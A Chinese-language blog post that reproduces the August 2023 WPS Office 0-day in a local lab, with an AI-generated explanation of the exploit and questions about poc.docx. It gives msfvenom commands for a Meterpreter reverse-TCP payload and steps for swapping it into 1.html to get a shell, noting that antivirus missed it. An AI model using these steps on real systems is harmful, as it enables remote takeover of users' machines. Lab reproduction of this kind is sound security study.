WPS-0DAY-20230809的分析和初步復現
- 一、漏洞學習
- 1、本地復現
- 環境
- 過程
- 2、代碼解析
- 1.html
- exp.py
- 3、通過修改shellcode拿shell
- 曲折的學習
- msf生成sc
- 二、疑點
- 1、問題
- 2、我的測試
- 測試方法
- 測試結果
一、漏洞學習
強調:以下內容僅供學習和測試,一切行為均在本地進行。利用本文復現該漏洞后切勿從事侵權或違反《網絡安全法》的行為,若造成任何后果,本人概不負責。
針對網上傳的版本和github上公開的版本(提前備份一下,兩個版本的zip和復現成功的虛擬機已經整合至下載板塊的“WPS-0DAY-20230809”——審核結果將在2-10個工作日完成上傳)進行了復現,并實現了getshell的操作,由于是第一次接觸shellcode略顯生疏,各位大佬多多包涵。這里分享一下自己的學習經過,也希望大佬能解答一下文末的疑點。
1、本地復現
B站上也有其他大佬本地復現的視頻,可以自行搜索觀看。
環境
Windows 10 企業版2H22、wps12300、phpstudy8.1.1.3(其他:火絨最新版、winrar)
(我鏡像里面那個idea的安裝包沒啥用,純粹是復現某個java的cms用的,這個快照也沒安裝,emmm,winrar自己下一個吧,我就懶得再打包一個快照了。皮一下很開心~)
過程
小皮起個本地網站,將1.html放進去,開啟apache2即可
修改hosts文件,重啟網站(可以直接下載我整理的資料,到文檔里復制,如果自己手中有資源或者愿意打字,當我沒說)。
雙擊poc.docx并打開
本地復現成功。
2、代碼解析
這里因為學識有限找個AI讀了一下。
1.html
當分析這個代碼段時,我們可以看到它實際上在利用一個 WebKit(瀏覽器引擎)中的漏洞,來實現對瀏覽器內存的非法訪問和控制。以下是代碼的主要漏洞利用部分的分析:
Memory Corruption:
在代碼中的 foo 函數中,利用了一個 JIT (Just-In-Time) 編譯器的漏洞,通過觸發對函數的 JIT 編譯,創建了一些特定的數據結構,這些結構在內存中存儲了相互關聯的函數和對象。但由于編譯器的缺陷,這些結構可能被損壞,導致后續訪問時產生內存錯誤。
Out-of-Bounds Access:
在代碼中的 addrof 和 fakeobj 函數中,利用了一個越界訪問漏洞,通過操縱數組的邊界條件,可以讀寫數組之外的內存。具體來說,通過修改數組的長度和元素,可以實現越界讀取和寫入操作。
Arbitrary Read/Write:
通過越界訪問,可以讀寫到特定內存位置,甚至可以讀寫到具有敏感權限的內存區域。這允許了對一些內存結構進行讀寫,從而繞過瀏覽器的內存保護機制。
WebAssembly and Shellcode Execution:
通過創建 WebAssembly 模塊,并將其中的 shellcode(一段具有特定功能的二進制代碼)寫入內存,代碼實現了對內存區域的寫入,即將 shellcode 寫入瀏覽器內存。之后,通過調用 WebAssembly 實例中的函數,實際上在瀏覽器中執行了 shellcode。
Exploitation:
總的來說,代碼通過越界訪問和內存錯誤,成功地修改了瀏覽器內存中的數據結構,并實現了對內存的非法讀寫。通過寫入 shellcode 并執行它,代碼最終實現了對瀏覽器中的操作系統層面的控制。
需要注意的是,這是一個非常復雜的漏洞利用,利用了多個不同的漏洞點,包括 JIT 編譯器的缺陷、越界訪問等。此類漏洞利用在現代瀏覽器中是極其罕見的,瀏覽器供應商通常會及時修復這些問題以保護用戶的安全。然而,這也強調了編寫安全的 JavaScript 代碼以及保持瀏覽器更新的重要性。
exp.py
這段代碼是一個 Python 腳本,主要用于修改 Microsoft Word 文檔中的鏈接。它使用了 lxml 庫來解析和處理 XML 數據,以及 zipfile 庫來操作 Office Open XML (OOXML) 格式的 Word 文檔(.docx 文件)。
replace_url_in_docx函數:打開指定的 .docx 文件,查找并替換其中的 URL。
具體步驟如下:
打開 .docx 文件,使用 “a” 模式,表示追加模式。
在 zip 壓縮文件中查找 webExtension1.xml 文件的路徑。
如果找不到 webExtension1.xml 文件,輸出錯誤信息并關閉文件。
讀取 webExtension1.xml 文件的內容。
解析 XML 內容,得到根元素。
使用特定的命名空間查找 標簽,并替換其中的 URL。
將修改后的 XML 內容寫回壓縮文件。
關閉壓縮文件。
其他的都代碼沒什么,解析這段代碼主要就是為了復現這個“poc.docx”,但是并沒有制造出這個poc.docx,具體的測試會在最后的疑點中闡述。
3、通過修改shellcode拿shell
曲折的學習
不得不感慨,還好身邊有些懂行的大佬,不然復現shellcode的思路都沒有,必須感謝一下“.”和“PMR”(昵稱)的指導。
這里主要吐槽一下我對shellcode的第一映像,大佬們可以當個笑話樂一下。
1.html中有這樣一段shellcode,套了下AI的話,它告訴我這是x86的機器碼,十六進制ASCII解碼后里面有個“calc”,就是倒數第五個到倒數第二個。
我想著那就解密一下唄(現在看起來當時自己是真的蠢),但是存在函數無法識別的字符,那就寫個腳本一一對應的替換一下唄。
結果接長這樣,emmmm,替換calc為charmap再加密試試?然后不出意外的失敗了。
üè?NULNULNUL`‰?1àd?P0?RFF?RDC4?r(SI·J&1??<a|STX,
á?CRSOH?aòRW?RDLE?J<?LDC1x?HSOH?Q?Y
SOHó?ICAN?:I?4?SOH?1??á?CRSOH?8àu?ETX}?;}$u?X?X$SOHóf?FFK?XFSSOHó?EOT?SOHD‰D$$[[aYZQ?à__Z?DC2?
]jSOH
…2NULNULNULPh1?o????àGS*LFh|??
??<ACK|LF€?àuENQ?GDC3rojNULS??calcNUL
msf生成sc
好了,下面就是成功的結果了,kali終端執行一下就可以得到和網傳的版本一模一樣的結果了。
msfvenom -a x86 -p windows/exec CMD="calc" EXITFUNC=thread -f num
然后要拿shell就用最常規的payload,同樣設置-f為num就可以了。
msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=10.1.1.181 LPORT=9999 EXITFUNC=thread -f num
接著muti/hander監聽一下,把生成的shellcode那道nodepad++里面刪除一下“\r\n”復制并覆蓋1.html的const shellcode里就行了。
最后雙擊poc.docx(因為懶,沒有在kali啟80搭1.html,如果你想要嚴謹一點自己在kali配置就可以了),拿到shell。
哦,對了,再白一句,火絨沒檢測出來。
二、疑點
1、問題
直接說我的疑惑:image到底是什么,為什么它會影響漏洞的復現?
2、我的測試
測試方法
winrar直接打開poc.docx,進行對照實驗。
測試結果
(不是很了解wps的文件結構,以下結論對于大佬來說可能不算什么結果)
1xlsx文件(poc.docx\word\embeddings\Workbook1.xlsx)刪了倒是無所謂poc還可以正常執行,而且正常生成的docx沒有該文檔。
2執行exp.py修改“poc.docx\word\webExtensions\webExtension1.xml”之前需要通過wps的加載項,加載一個xml——這個poc.docx的構建黑客一定操作了這一步,因為正常生成的docx文件沒有webExtensions目錄。
3windows過期(或者未激活狀態)復現失敗。
本對照實驗僅為一次簡單的測試,可能存在未考慮的因素,這里分享另外兩位大佬的測試流程。
https://mp.weixin.qq.com/s/JhNQRTHItiqIjeM0rOuRfg
https://mp.weixin.qq.com/s/ppgKA-i4td_1PrWQZcp2XA
本人測試結果與其存在差異或存在錯誤,均為能力所困,實屬正常(本測試結果僅供參考)。